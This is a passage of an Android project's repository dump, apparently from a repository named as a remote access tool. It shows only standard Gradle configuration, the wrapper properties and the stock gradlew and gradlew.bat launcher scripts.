rootProject.buildDir 30 | } 31 | -------------------------------------------------------------------------------- /gradle.properties: -------------------------------------------------------------------------------- 1 | # Project-wide Gradle settings. 2 | # IDE (e.g. Android Studio) users: 3 | # Gradle settings configured through the IDE *will override* 4 | # any settings specified in this file. 5 | # For more details on how to configure your build environment visit 6 | # http://www.gradle.org/docs/current/userguide/build_environment.html 7 | # Specifies the JVM arguments used for the daemon process. 8 | # The setting is particularly useful for tweaking memory settings. 9 | org.gradle.jvmargs=-Xmx1536m 10 | # When configured, Gradle will run in incubating parallel mode. 11 | # This option should only be used with decoupled projects. More details, visit 12 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects 13 | # org.gradle.parallel=true 14 | # AndroidX package structure to make it clearer which packages are bundled with the 15 | # Android operating system, and which are packaged with your app's APK 16 | # https://developer.android.com/topic/libraries/support-library/androidx-rn 17 | android.useAndroidX=true 18 | # Automatically convert third-party libraries to use AndroidX 19 | android.enableJetifier=true 20 | 21 | -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diptomondal007/Advanced-Android-Rat-Client/98213b85d859c23e4bf833770ffd105a3219cd83/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Sat Jun 20 08:53:36 BDT 2020 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-5.6.4-all.zip 7 | -------------------------------------------------------------------------------- /gradlew: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | 3 | ############################################################################## 4 | ## 5 | ## Gradle start up script for UN*X 6 | ## 7 | ############################################################################## 8 | 9 | # Attempt to set APP_HOME 10 | # Resolve links: $0 may be a link 11 | PRG="$0" 12 | # Need this for relative symlinks. 13 | while [ -h "$PRG" ] ; do 14 | ls=`ls -ld "$PRG"` 15 | link=`expr "$ls" : '.*-> \(.*\)$'` 16 | if expr "$link" : '/.*' > /dev/null; then 17 | PRG="$link" 18 | else 19 | PRG=`dirname "$PRG"`"/$link" 20 | fi 21 | done 22 | SAVED="`pwd`" 23 | cd "`dirname \"$PRG\"`/" >/dev/null 24 | APP_HOME="`pwd -P`" 25 | cd "$SAVED" >/dev/null 26 | 27 | APP_NAME="Gradle" 28 | APP_BASE_NAME=`basename "$0"` 29 | 30 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 31 | DEFAULT_JVM_OPTS="" 32 | 33 | # Use the maximum available, or set MAX_FD != -1 to use that value. 34 | MAX_FD="maximum" 35 | 36 | warn () { 37 | echo "$*" 38 | } 39 | 40 | die () { 41 | echo 42 | echo "$*" 43 | echo 44 | exit 1 45 | } 46 | 47 | # OS specific support (must be 'true' or 'false'). 48 | cygwin=false 49 | msys=false 50 | darwin=false 51 | nonstop=false 52 | case "`uname`" in 53 | CYGWIN* ) 54 | cygwin=true 55 | ;; 56 | Darwin* ) 57 | darwin=true 58 | ;; 59 | MINGW* ) 60 | msys=true 61 | ;; 62 | NONSTOP* ) 63 | nonstop=true 64 | ;; 65 | esac 66 | 67 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 68 | 69 | # Determine the Java command to use to start the JVM. 70 | if [ -n "$JAVA_HOME" ] ; then 71 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 72 | # IBM's JDK on AIX uses strange locations for the executables 73 | JAVACMD="$JAVA_HOME/jre/sh/java" 74 | else 75 | JAVACMD="$JAVA_HOME/bin/java" 76 | fi 77 | if [ ! -x "$JAVACMD" ] ; then 78 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 79 | 80 | Please set the JAVA_HOME variable in your environment to match the 81 | location of your Java installation." 82 | fi 83 | else 84 | JAVACMD="java" 85 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 86 | 87 | Please set the JAVA_HOME variable in your environment to match the 88 | location of your Java installation." 89 | fi 90 | 91 | # Increase the maximum file descriptors if we can. 92 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then 93 | MAX_FD_LIMIT=`ulimit -H -n` 94 | if [ $? -eq 0 ] ; then 95 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then 96 | MAX_FD="$MAX_FD_LIMIT" 97 | fi 98 | ulimit -n $MAX_FD 99 | if [ $? -ne 0 ] ; then 100 | warn "Could not set maximum file descriptor limit: $MAX_FD" 101 | fi 102 | else 103 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" 104 | fi 105 | fi 106 | 107 | # For Darwin, add options to specify how the application appears in the dock 108 | if $darwin; then 109 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" 110 | fi 111 | 112 | # For Cygwin, switch paths to Windows format before running java 113 | if $cygwin ; then 114 | APP_HOME=`cygpath --path --mixed "$APP_HOME"` 115 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` 116 | JAVACMD=`cygpath --unix "$JAVACMD"` 117 | 118 | # We build the pattern for arguments to be converted via cygpath 119 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` 120 | SEP="" 121 | for dir in $ROOTDIRSRAW ; do 122 | ROOTDIRS="$ROOTDIRS$SEP$dir" 123 | SEP="|" 124 | done 125 | OURCYGPATTERN="(^($ROOTDIRS))" 126 | # Add a user-defined pattern to the cygpath arguments 127 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then 128 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" 129 | fi 130 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 131 | i=0 132 | for arg in "$@" ; do 133 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` 134 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option 135 | 136 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition 137 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` 138 | else 139 | eval `echo args$i`="\"$arg\"" 140 | fi 141 | i=$((i+1)) 142 | done 143 | case $i in 144 | (0) set -- ;; 145 | (1) set -- "$args0" ;; 146 | (2) set -- "$args0" "$args1" ;; 147 | (3) set -- "$args0" "$args1" "$args2" ;; 148 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;; 149 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 150 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 151 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 152 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 153 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; 154 | esac 155 | fi 156 | 157 | # Escape application args 158 | save () { 159 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done 160 | echo " " 161 | } 162 | APP_ARGS=$(save "$@") 163 | 164 | # Collect all arguments for the java command, following the shell quoting and substitution rules 165 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" 166 | 167 | # by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong 168 | if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then 169 | cd "$(dirname "$0")" 170 | fi 171 | 172 | exec "$JAVACMD" "$@" 173 | -------------------------------------------------------------------------------- /gradlew.bat: -------------------------------------------------------------------------------- 1 | @if "%DEBUG%" == "" @echo off 2 | @rem ########################################################################## 3 | @rem 4 | @rem Gradle startup script for Windows 5 | @rem 6 | @rem ########################################################################## 7 | 8 | @rem Set local scope for the variables with windows NT shell 9 | if "%OS%"=="Windows_NT" setlocal 10 | 11 | set DIRNAME=%~dp0 12 | if "%DIRNAME%" == "" set DIRNAME=. 13 | set APP_BASE_NAME=%~n0 14 | set APP_HOME=%DIRNAME% 15 | 16 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 17 | set DEFAULT_JVM_OPTS= 18 | 19 | @rem Find java.exe 20 | if defined JAVA_HOME goto findJavaFromJavaHome 21 | 22 | set JAVA_EXE=java.exe 23 | %JAVA_EXE% -version >NUL 2>&1 24 | if "%ERRORLEVEL%" == "0" goto init 25 | 26 | echo. 27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 28 | echo. 29 | echo Please set the JAVA_HOME variable in your environment to match the 30 | echo location of your Java installation. 31 | 32 | goto fail 33 | 34 | :findJavaFromJavaHome 35 | set JAVA_HOME=%JAVA_HOME:"=% 36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 37 | 38 | if exist "%JAVA_EXE%" goto init 39 | 40 | echo. 41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 42 | echo. 43 | echo Please set the JAVA_HOME variable in your environment to match the 44 | echo location of your Java installation. 45 | 46 | goto fail 47 | 48 | :init 49 | @rem Get command-line arguments, handling Windows variants 50 | 51 | if not "%OS%" == "Windows_NT" goto win9xME_args 52 | 53 | :win9xME_args 54 | @rem Slurp the command line arguments. 55 | set CMD_LINE_ARGS= 56 | set _SKIP=2 57 | 58 | :win9xME_args_slurp 59 | if "x%~1" == "x" goto execute 60 | 61 | set CMD_LINE_ARGS=%* 62 | 63 | :execute 64 | @rem Setup the command line 65 | 66 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 67 | 68 | @rem Execute Gradle 69 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% 70 | 71 | :end 72 | @rem End local scope for the variables with windows NT shell 73 | if "%ERRORLEVEL%"=="0" goto mainEnd 74 | 75 | :fail 76 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 77 | rem the _cmd.exe /c_ return code! 78 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 79 | exit /b 1 80 | 81 | :mainEnd 82 | if "%OS%"=="Windows_NT" endlocal 83 | 84 | :omega 85 | -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name='ChatApp' 2 | include ':app' 3 | --------------------------------------------------------------------------------